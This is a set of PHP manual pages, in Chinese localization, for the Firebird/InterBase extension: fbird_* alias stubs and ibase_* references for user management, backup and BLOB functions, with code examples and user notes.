  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_blob_open

fbird_blob_open

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_open — 别名 ibase_blob_open()

说明

此函数是该函数的别名： ibase_blob_open().

参见

  • fbird_blob_close() - 别名 ibase_blob_close
  • fbird_blob_echo() - 别名 ibase_blob_echo
  • fbird_blob_get() - 别名 ibase_blob_get

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_close

  • ? fbird_blob_open
  • fbird_commit_ret ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_close

fbird_close

(PHP 5, PHP 7 < 7.4.0)

fbird_close — 别名 ibase_close()

说明

此函数是该函数的别名： ibase_close().

参见

  • fbird_connect() - 别名 ibase_connect
  • fbird_pconnect() - 别名 ibase_pconnect

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_commit_ret

  • ? fbird_close
  • fbird_commit ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_commit_ret

fbird_commit_ret

(PHP 5, PHP 7 < 7.4.0)

fbird_commit_ret — 别名 ibase_commit_ret()

说明

此函数是该函数的别名： ibase_commit_ret().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_commit

  • ? fbird_commit_ret
  • fbird_connect ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_commit

fbird_commit

(PHP 5, PHP 7 < 7.4.0)

fbird_commit — 别名 ibase_commit()

说明

此函数是该函数的别名： ibase_commit().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_connect

  • ? fbird_commit
  • fbird_db_info ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_connect

fbird_connect

(PHP 5, PHP 7 < 7.4.0)

fbird_connect — 别名 ibase_connect()

说明

此函数是该函数的别名： ibase_connect().

参见

  • fbird_pconnect() - 别名 ibase_pconnect
  • fbird_close() - 别名 ibase_close

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_db_info

  • ? fbird_connect
  • fbird_delete_user ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_db_info

fbird_db_info

(PHP 5, PHP 7 < 7.4.0)

fbird_db_info — 别名 ibase_db_info()

说明

此函数是该函数的别名： ibase_db_info().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_delete_user

  • ? fbird_db_info
  • fbird_drop_db ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_delete_user

fbird_delete_user

(PHP 5, PHP 7 < 7.4.0)

fbird_delete_user — 别名 ibase_delete_user()

说明

此函数是该函数的别名： ibase_delete_user().

参见

  • fbird_add_user() - 别名 ibase_add_user
  • fbird_modify_user() - 别名 ibase_modify_user

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_drop_db

  • ? fbird_delete_user
  • fbird_errcode ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_drop_db

fbird_drop_db

(PHP 5, PHP 7 < 7.4.0)

fbird_drop_db — 别名 ibase_drop_db()

说明

此函数是该函数的别名： ibase_drop_db().

参见

  • fbird_connect() - 别名 ibase_connect
  • fbird_pconnect() - 别名 ibase_pconnect

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_errcode

  • ? fbird_drop_db
  • fbird_errmsg ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_errcode

fbird_errcode

(PHP 5, PHP 7 < 7.4.0)

fbird_errcode — 别名 ibase_errcode()

说明

此函数是该函数的别名： ibase_errcode().

参见

  • fbird_errmsg() - 别名 ibase_errmsg

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_errmsg

  • ? fbird_errcode
  • fbird_execute ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_errmsg

fbird_errmsg

(PHP 5, PHP 7 < 7.4.0)

fbird_errmsg — 别名 ibase_errmsg()

说明

此函数是该函数的别名： ibase_errmsg().

参见

  • fbird_errcode() - 别名 ibase_errcode

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_execute

  • ? fbird_errmsg
  • fbird_fetch_assoc ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_execute

fbird_execute

(PHP 5, PHP 7 < 7.4.0)

fbird_execute — 别名 ibase_execute()

说明

此函数是该函数的别名： ibase_execute().

参见

  • fbird_query() - 别名 ibase_query

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_fetch_assoc

  • ? fbird_execute
  • fbird_fetch_object ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_fetch_assoc

fbird_fetch_assoc

(PHP 5, PHP 7 < 7.4.0)

fbird_fetch_assoc — 别名 ibase_fetch_assoc()

说明

此函数是该函数的别名： ibase_fetch_assoc().

参见

  • fbird_fetch_row() - 别名 ibase_fetch_row
  • fbird_fetch_object() - 别名 ibase_fetch_object

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_fetch_object

  • ? fbird_fetch_assoc
  • fbird_fetch_row ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_fetch_object

fbird_fetch_object

(PHP 5, PHP 7 < 7.4.0)

fbird_fetch_object — 别名 ibase_fetch_object()

说明

此函数是该函数的别名： ibase_fetch_object().

参见

  • fbird_fetch_row() - 别名 ibase_fetch_row
  • fbird_fetch_assoc() - 别名 ibase_fetch_assoc

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_fetch_row

  • ? fbird_fetch_object
  • fbird_field_info ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_fetch_row

fbird_fetch_row

(PHP 5, PHP 7 < 7.4.0)

fbird_fetch_row — 别名 ibase_fetch_row()

说明

此函数是该函数的别名： ibase_fetch_row().

参见

  • fbird_fetch_assoc() - 别名 ibase_fetch_assoc
  • fbird_fetch_object() - 别名 ibase_fetch_object

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_field_info

  • ? fbird_fetch_row
  • fbird_free_event_handler ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_field_info

fbird_field_info

(PHP 5, PHP 7 < 7.4.0)

fbird_field_info — 别名 ibase_field_info()

说明

此函数是该函数的别名： ibase_field_info().

参见

  • fbird_num_fields() - 别名 ibase_num_fields

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_free_event_handler

  • ? fbird_field_info
  • fbird_free_query ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_free_event_handler

fbird_free_event_handler

(PHP 5, PHP 7 < 7.4.0)

fbird_free_event_handler — 别名 ibase_free_event_handler()

说明

此函数是该函数的别名： ibase_free_event_handler().

参见

  • fbird_set_event_handler() - 别名 ibase_set_event_handler

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_free_query

  • ? fbird_free_event_handler
  • fbird_free_result ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_free_query

fbird_free_query

(PHP 5, PHP 7 < 7.4.0)

fbird_free_query — 别名 ibase_free_query()

说明

此函数是该函数的别名： ibase_free_query().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_free_result

  • ? fbird_free_query
  • fbird_gen_id ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_free_result

fbird_free_result

(PHP 5, PHP 7 < 7.4.0)

fbird_free_result — 别名 ibase_free_result()

说明

此函数是该函数的别名： ibase_free_result().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_gen_id

  • ? fbird_free_result
  • fbird_maintain_db ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_gen_id

fbird_gen_id

(PHP 5, PHP 7 < 7.4.0)

fbird_gen_id — 别名 ibase_gen_id()

说明

此函数是该函数的别名： ibase_gen_id().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_maintain_db

  • ? fbird_gen_id
  • fbird_modify_user ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_maintain_db

fbird_maintain_db

(PHP 5, PHP 7 < 7.4.0)

fbird_maintain_db — 别名 ibase_maintain_db()

说明

此函数是该函数的别名： ibase_maintain_db().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_modify_user

  • ? fbird_maintain_db
  • fbird_name_result ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_modify_user

fbird_modify_user

(PHP 5, PHP 7 < 7.4.0)

fbird_modify_user — 别名 ibase_modify_user()

说明

此函数是该函数的别名： ibase_modify_user().

参见

  • fbird_add_user() - 别名 ibase_add_user
  • fbird_delete_user() - 别名 ibase_delete_user

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_name_result

  • ? fbird_modify_user
  • fbird_num_fields ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_name_result

fbird_name_result

(PHP 5, PHP 7 < 7.4.0)

fbird_name_result — 别名 ibase_name_result()

说明

此函数是该函数的别名： ibase_name_result().

参见

  • fbird_prepare() - 别名 ibase_prepare
  • fbird_execute() - 别名 ibase_execute

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_num_fields

  • ? fbird_name_result
  • fbird_num_params ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_num_fields

fbird_num_fields

(PHP 5, PHP 7 < 7.4.0)

fbird_num_fields — 别名 ibase_num_fields()

说明

此函数是该函数的别名： ibase_num_fields().

参见

  • fbird_field_info() - 别名 ibase_field_info

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_num_params

  • ? fbird_num_fields
  • fbird_param_info ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_num_params

fbird_num_params

(PHP 5, PHP 7 < 7.4.0)

fbird_num_params — 别名 ibase_num_params()

说明

此函数是该函数的别名： ibase_num_params().

参见

  • fbird_prepare() - 别名 ibase_prepare
  • fbird_param_info() - 别名 ibase_param_info

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_param_info

  • ? fbird_num_params
  • fbird_pconnect ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_param_info

fbird_param_info

(PHP 5, PHP 7 < 7.4.0)

fbird_param_info — 别名 ibase_param_info()

说明

此函数是该函数的别名： ibase_param_info().

参见

  • fbird_field_info() - 别名 ibase_field_info
  • fbird_num_params() - 别名 ibase_num_params

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_pconnect

  • ? fbird_param_info
  • fbird_prepare ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_pconnect

fbird_pconnect

(PHP 5, PHP 7 < 7.4.0)

fbird_pconnect — 别名 ibase_pconnect()

说明

此函数是该函数的别名： ibase_pconnect().

参见

  • fbird_close() - 别名 ibase_close
  • fbird_connect() - 别名 ibase_connect

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_prepare

  • ? fbird_pconnect
  • fbird_query ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_prepare

fbird_prepare

(PHP 5, PHP 7 < 7.4.0)

fbird_prepare — 别名 ibase_prepare()

说明

此函数是该函数的别名： ibase_prepare().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_query

  • ? fbird_prepare
  • fbird_restore ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_query

fbird_query

(PHP 5, PHP 7 < 7.4.0)

fbird_query — 别名 ibase_query()

说明

此函数是该函数的别名： ibase_query().

参见

  • fbird_errmsg() - 别名 ibase_errmsg
  • fbird_fetch_row() - 别名 ibase_fetch_row
  • fbird_fetch_object() - 别名 ibase_fetch_object
  • fbird_free_result() - 别名 ibase_free_result

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_restore

  • ? fbird_query
  • fbird_rollback_ret ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_restore

fbird_restore

(PHP 5, PHP 7 < 7.4.0)

fbird_restore — 别名 ibase_restore()

说明

此函数是该函数的别名： ibase_restore().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_rollback_ret

  • ? fbird_restore
  • fbird_rollback ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_rollback_ret

fbird_rollback_ret

(PHP 5, PHP 7 < 7.4.0)

fbird_rollback_ret — 别名 ibase_rollback_ret()

说明

此函数是该函数的别名： ibase_rollback_ret().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_rollback

  • ? fbird_rollback_ret
  • fbird_server_info ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_rollback

fbird_rollback

(PHP 5, PHP 7 < 7.4.0)

fbird_rollback — 别名 ibase_rollback()

说明

此函数是该函数的别名： ibase_rollback().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_server_info

  • ? fbird_rollback
  • fbird_service_attach ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_server_info

fbird_server_info

(PHP 5, PHP 7 < 7.4.0)

fbird_server_info — 别名 ibase_server_info()

说明

此函数是该函数的别名： ibase_server_info().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_service_attach

  • ? fbird_server_info
  • fbird_service_detach ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_service_attach

fbird_service_attach

(PHP 5, PHP 7 < 7.4.0)

fbird_service_attach — 别名 ibase_service_attach()

说明

此函数是该函数的别名： ibase_service_attach().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_service_detach

  • ? fbird_service_attach
  • fbird_set_event_handler ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_service_detach

fbird_service_detach

(PHP 5, PHP 7 < 7.4.0)

fbird_service_detach — 别名 ibase_service_detach()

说明

此函数是该函数的别名： ibase_service_detach().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_set_event_handler

  • ? fbird_service_detach
  • fbird_trans ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_set_event_handler

fbird_set_event_handler

(PHP 5, PHP 7 < 7.4.0)

fbird_set_event_handler — 别名 ibase_set_event_handler()

说明

此函数是该函数的别名： ibase_set_event_handler().

参见

  • fbird_free_event_handler() - 别名 ibase_free_event_handler
  • fbird_wait_event() - 别名 ibase_wait_event

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_trans

  • ? fbird_set_event_handler
  • fbird_wait_event ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_trans

fbird_trans

(PHP 5, PHP 7 < 7.4.0)

fbird_trans — 别名 ibase_trans()

说明

此函数是该函数的别名： ibase_trans().

User Contributed Notes

There are no user contributed notes for this page.


别名 ibase_wait_event

  • ? fbird_trans
  • ibase_add_user ?
  • PHP Manual
  • Firebird/InterBase 函数
  • 别名 ibase_wait_event

fbird_wait_event

(PHP 5, PHP 7 < 7.4.0)

fbird_wait_event — 别名 ibase_wait_event()

说明

此函数是该函数的别名： ibase_wait_event().

参见

  • fbird_set_event_handler() - 别名 ibase_set_event_handler
  • fbird_free_event_handler() - 别名 ibase_free_event_handler

User Contributed Notes

There are no user contributed notes for this page.


Add a user to a security database

  • ? fbird_wait_event
  • ibase_affected_rows ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Add a user to a security database

ibase_add_user

(PHP 5, PHP 7 < 7.4.0)

ibase_add_user — Add a user to a security database

说明

ibase_add_user(
resource $service_handle,
string $user_name,
string $password,
string $first_name = ?,
string $middle_name = ?,
string $last_name = ?
): bool

参数

service_handle

The handle on the database server service.

user_name

The login name of the new database user.

password

The password of the new user.

first_name

The first name of the new database user.

middle_name

The middle name of the new database user.

last_name

The last name of the new database user.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ibase_modify_user() - Modify a user to a security database
  • ibase_delete_user() - Delete a user from a security database

User Contributed Notes

pabloj 12-Apr-2006 02:10
You can create users on Firebird/Interbase this way:

<?php
    // attach to the server with proper privileges
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        // get server version and implementation strings
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        //ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;

//add a new user with name 'pippo' and password 'pp'
if (($result = ibase_add_user($service, 'pippo', 'pp')) != FALSE) {
        echo 'User created';
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
        //detach from server
        ibase_service_detach($service);
    }
?>


Return the number of rows that were affected by the previous query

  • ? ibase_add_user
  • ibase_backup ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Return the number of rows that were affected by the previous query

ibase_affected_rows

(PHP 5, PHP 7 < 7.4.0)

ibase_affected_rows — Return the number of rows that were affected by the previous query

说明

ibase_affected_rows(resource $link_identifier = ?): int

This function returns the number of rows that were affected by the previous query (INSERT, UPDATE or DELETE) that was executed from within the specified transaction context.

参数

link_identifier

A transaction context. If link_identifier is a connection resource, its default transaction is used.

返回值

Returns the number of rows as an integer.

参见

  • ibase_query() - Execute a query on an InterBase database
  • ibase_execute() - Execute a previously prepared query

User Contributed Notes

There are no user contributed notes for this page.


Initiates a backup task in the service manager and returns immediately

  • ? ibase_affected_rows
  • ibase_blob_add ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Initiates a backup task in the service manager and returns immediately

ibase_backup

(PHP 5, PHP 7 < 7.4.0)

ibase_backup — Initiates a backup task in the service manager and returns immediately

说明

ibase_backup(
resource $service_handle,
string $source_db,
string $dest_file,
int $options = 0,
bool $verbose = false
): mixed

This function passes the arguments to the (remote) database server. There it starts a new backup process. Therefore you won't get any responses.

参数

service_handle

A previously opened connection to the database server.

source_db

The absolute file path to the database on the database server. You can also use a database alias.

dest_file

The path to the backup file on the database server.

options

Additional options to pass to the database server for backup. The options parameter can be a combination of the following constants: IBASE_BKP_IGNORE_CHECKSUMS, IBASE_BKP_IGNORE_LIMBO, IBASE_BKP_METADATA_ONLY, IBASE_BKP_NO_GARBAGE_COLLECT, IBASE_BKP_OLD_DESCRIPTIONS, IBASE_BKP_NON_TRANSPORTABLE or IBASE_BKP_CONVERT. Read the section about 预定义常量 for further information.

verbose

Since the backup process is done on the database server, you don't have any chance to get its output. This argument is useless.

返回值

成功时返回 true， 或者在失败时返回 false。

Since the backup process is done on the (remote) server, this function just passes the arguments to it. While the arguments are legal, you won't get false.

示例

Example #1 ibase_backup() example

<?php

// Attach to database server by ip address and port
$service = ibase_service_attach ('10.1.11.200/3050', 'sysdba', 'masterkey');

// Start the backup process on database server
// Backup employee database using full path to /srv/backup/employees.fbk
// Don't use any special arguments
ibase_backup($service, '/srv/firebird/employees.fdb', '/srv/backup/employees.fbk');

// Free the attached connection
ibase_service_detach ($service);
?>

Example #2 ibase_backup() example with arguments

<?php

// Attach to database server by name and default port
$service = ibase_service_attach ('fb-server.contoso.local', 'sysdba', 'masterkey');

// Start the backup process on database server
// Backup employee database using alias to /srv/backup/employees.fbk.
// Backup only the metadata. Don't create a transportable backup.
ibase_backup($service, 'employees.fdb', '/srv/backup/employees.fbk', IBASE_BKP_METADATA_ONLY | IBASE_BKP_NON_TRANSPORTABLE);

// Free the attached connection
ibase_service_detach ($service);
?>

参见

  • ibase_restore() - Initiates a restore task in the service manager and returns immediately

User Contributed Notes

Gara 11-Jan-2006 04:36
I tried to get the backup function working, but could never figur out where to get the resource service_handle. The trick was to use ibase_service_attach.

$resource_service_handle = ibase_service_attach ('localhost', 'username', 'password');

ibase_backup($resource_service_handle, 'source_database', 'destination_file');

ibase_service_detach ($resource_service_handle);


Add data into a newly created blob

  • ? ibase_backup
  • ibase_blob_cancel ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Add data into a newly created blob

ibase_blob_add

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_add — Add data into a newly created blob

说明

ibase_blob_add(resource $blob_handle, string $data): void

ibase_blob_add() adds data into a blob created with ibase_blob_create().

参数

blob_handle

A blob handle opened with ibase_blob_create().

data

The data to be added.

返回值

没有返回值。

参见

  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_close() - Close blob
  • ibase_blob_create() - Create a new blob for adding data
  • ibase_blob_import() - Create blob, copy file in it, and close it

User Contributed Notes

a dot w dot peters at ieee dot org 09-Dec-2004 07:48
To actually insert the BLOB into a table, the following snippet of code shows how this can be done.

<?php
  $dbh = ibase_connect($host, $user, $pass);

  $blh = ibase_blob_create($dbh);
  ibase_blob_add($blh, $data);
  $blobid = ibase_blob_close($blh);

  $sql = "INSERT INTO blobtable(blobfield) VALUES (?)";
  $sth = ibase_query($dbh, $sql, $blobid);
?>


Cancel creating blob

  • ? ibase_blob_add
  • ibase_blob_close ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Cancel creating blob

ibase_blob_cancel

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_cancel — Cancel creating blob

说明

ibase_blob_cancel(resource $blob_handle): bool

This function will discard a BLOB if it has not yet been closed by ibase_blob_close().

参数

blob_handle

A BLOB handle opened with ibase_blob_create().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ibase_blob_close() - Close blob
  • ibase_blob_create() - Create a new blob for adding data
  • ibase_blob_import() - Create blob, copy file in it, and close it

User Contributed Notes

There are no user contributed notes for this page.


Close blob

  • ? ibase_blob_cancel
  • ibase_blob_create ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Close blob

ibase_blob_close

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_close — Close blob

说明

ibase_blob_close(resource $blob_handle): mixed

This function closes a BLOB that has either been opened for reading by ibase_blob_open() or has been opened for writing by ibase_blob_create().

参数

blob_handle

A BLOB handle opened with ibase_blob_create() or ibase_blob_open().

返回值

If the BLOB was being read, this function returns true on success, if the BLOB was being written to, this function returns a string containing the BLOB id that has been assigned to it by the database. On failure, this function returns false.

参见

  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_open() - Open blob for retrieving data parts

User Contributed Notes

There are no user contributed notes for this page.


Create a new blob for adding data

  • ? ibase_blob_close
  • ibase_blob_echo ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Create a new blob for adding data

ibase_blob_create

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_create — Create a new blob for adding data

说明

ibase_blob_create(resource $link_identifier = null): resource|false

ibase_blob_create() creates a new BLOB for filling with data.

参数

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

返回值

Returns a BLOB handle for later use with ibase_blob_add() 或者在失败时返回 false.

参见

  • ibase_blob_add() - Add data into a newly created blob
  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_close() - Close blob
  • ibase_blob_import() - Create blob, copy file in it, and close it

User Contributed Notes

There are no user contributed notes for this page.


Output blob contents to browser

  • ? ibase_blob_create
  • ibase_blob_get ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Output blob contents to browser

ibase_blob_echo

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_echo — Output blob contents to browser

说明

ibase_blob_echo(string $blob_id): bool
ibase_blob_echo(resource $link_identifier, string $blob_id): bool

This function opens a BLOB for reading and sends its contents directly to standard output (the browser, in most cases).

参数

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

blob_id

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ibase_blob_open() - Open blob for retrieving data parts
  • ibase_blob_close() - Close blob
  • ibase_blob_get() - Get len bytes data from open blob

User Contributed Notes

jure dot sah at monoliths dot com 20-Aug-2015 12:06
There is an alternative for getting text out of a blob that does not require as much code. Quoted from a handy online resource:

PHP offers natively the possibility of getting the BLOB data as a string.

For example ibase_fetch_assoc ( resource $result [, int $fetch_flag = 0 ] ) provides the $fetch_flag parameter which can be set to IBASE_TEXT, causing the function to return BLOB contents instead of BLOB ids.


Get len bytes data from open blob

  • ? ibase_blob_echo
  • ibase_blob_import ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Get len bytes data from open blob

ibase_blob_get

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_get — Get len bytes data from open blob

说明

ibase_blob_get(resource $blob_handle, int $len): string

This function returns at most len bytes from a BLOB that has been opened for reading by ibase_blob_open().

Note:

It is not possible to read from a BLOB that has been opened for writing by ibase_blob_create().

参数

blob_handle

A BLOB handle opened with ibase_blob_open().

len

Size of returned data.

返回值

Returns at most len bytes from the BLOB, or false on failure.

示例

Example #1 ibase_blob_get() example

<?php
$result = ibase_query("SELECT blob_value FROM table");
$data = ibase_fetch_object($result);
$blob_data = ibase_blob_info($data->BLOB_VALUE);
$blob_hndl = ibase_blob_open($data->BLOB_VALUE);
echo ibase_blob_get($blob_hndl, $blob_data[0]);
?>
Whilst this example doesn't do much more than a 'ibase_blob_echo($data->BLOB_VALUE)' would do, it does show you how to get information into a $variable to manipulate as you please.

参见

  • ibase_blob_open() - Open blob for retrieving data parts
  • ibase_blob_close() - Close blob
  • ibase_blob_echo() - Output blob contents to browser

User Contributed Notes

trinite at trinite dot mine dot nu 29-Dec-2005 03:33
The ways mentioned above won't work with segmented blobs. To fix this, I use the following:
(btw, $result->MFOTO is an image in the database)

<?php
    $result = ibase_fetch_object($result);

    /*
     ibase_blob_info array:
     [0] bloblength(total)
     [1] number of segments
     [2] size of largest segment
     [3] stream or segmented blob
     [4] ??
    */
    $blobinfo = ibase_blob_info($result->MFOTO);

    $blobhandle = ibase_blob_open($result->MFOTO);
    for($i = 0; $i < $blobinfo[1]; $i++){
        $readsize = $blobinfo[2];
        if($i == ($blobinfo[1] - 1)){
            $readsize = $blobinfo[0] - (($blobinfo[1] - 1) * $blobinfo[2]);
        }
        $totalimage .= ibase_blob_get($blobhandle, $readsize);
    }
    ibase_blob_close($blobhandle);
    echo $totalimage;
?>

This should do the trick ;)
hamacker 24-Nov-2004 06:03
The first example is wrong, is missing ibase_blob_close() function.
The correct example is :
<?php
   $sql      = "SELECT blob_value FROM table";
   $result    = ibase_query($sql);
   $data      = ibase_fetch_object($result);
   $blob_data = ibase_blob_info($data->BLOB_VALUE);
   $blob_hndl = ibase_blob_open($data->BLOB_VALUE);
   print        ibase_blob_get($blob_hndl, $blob_data[0]);
   // without close blob conection, php and ibase_blob_get() do not run.
  ibase_blob_close($blob_hndl);
?>
sol at nospam dot example dot com 18-Mar-2003 10:59
I found examples like these:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
    $blob_data = ibase_blob_info( $row->DATA);
    $blob_hndl = ibase_blob_open($row->DATA);
    $image = ibase_blob_get( $blob_hndl, $blob_data[0]);
}
but this won't work for large blobs.

One solution for big blobs is to retrieve them by chunks:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
    $image = ibase_blob_get($blob_hndl,8192);
    while($data = ibase_blob_get($blob_hndl, 8192)){
        $image .= $data;
    }
}


Create blob, copy file in it, and close it

  • ? ibase_blob_get
  • ibase_blob_info ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Create blob, copy file in it, and close it

ibase_blob_import

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_import — Create blob, copy file in it, and close it

说明

ibase_blob_import(resource $link_identifier, resource $file_handle): string
ibase_blob_import(resource $file_handle): string

This function creates a BLOB, reads an entire file into it, closes it and returns the assigned BLOB id.

参数

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

file_handle

The file handle is a handle returned by fopen().

返回值

Returns the BLOB id on success, or false on error.

示例

Example #1 ibase_blob_import() example

<?php
$dbh = ibase_connect($host, $username, $password);
$filename = '/tmp/bar';

$fd = fopen($filename, 'r');
if ($fd) {

$blob = ibase_blob_import($dbh, $fd);
fclose($fd);

if (!is_string($blob)) {
// import failed
} else {
$query = "INSERT INTO foo (name, data) VALUES ('$filename', ?)";
$prepared = ibase_prepare($dbh, $query);
if (!ibase_execute($prepared, $blob)) {
// record insertion failed
}
}
} else {
// unable to open the data file
}
?>

参见

  • ibase_blob_add() - Add data into a newly created blob
  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_close() - Close blob
  • ibase_blob_create() - Create a new blob for adding data

User Contributed Notes

There are no user contributed notes for this page.


Return blob length and other useful info

  • ? ibase_blob_import
  • ibase_blob_open ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Return blob length and other useful info

ibase_blob_info

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_info — Return blob length and other useful info

说明

ibase_blob_info(resource $link_identifier, string $blob_id): array
ibase_blob_info(string $blob_id): array

Returns the BLOB length and other useful information.

参数

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

blob_id

A BLOB id.

返回值

Returns an array containing information about a BLOB. The information returned consists of the length of the BLOB, the number of segments it contains, the size of the largest segment, and whether it is a stream BLOB or a segmented BLOB.

User Contributed Notes

There are no user contributed notes for this page.


Open blob for retrieving data parts

  • ? ibase_blob_info
  • ibase_close ?
  • PHP Manual
  • Firebird/InterBase 函数
  • Open blob for retrieving data parts

ibase_blob_open

(PHP 5, PHP 7 < 7.4.0)

ibase_blob_open — Open blob for retrieving data parts

说明

ibase_blob_open(resource $link_identifier, string $blob_id): resource|false
ibase_blob_open(string $blob_id): resource|false

Opens an existing BLOB for reading.

参数

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

blob_id

A BLOB id.

返回值

Returns a BLOB handle for later use with ibase_blob_get() 或者在失败时返回 false.

参见

  • ibase_blob_close() - Close blob
  • ibase_blob_echo() - Output blob contents to browser
  • ibase_blob_get() - Get len bytes data from open blob

User Contributed Notes

Kevin Hamilton 27-Feb-2006 01:39
While it is true that PHP4 allows only one parameter, it is not true that PHP5 allows only 2 parameters.  The correct function signature for PHP5 should be:

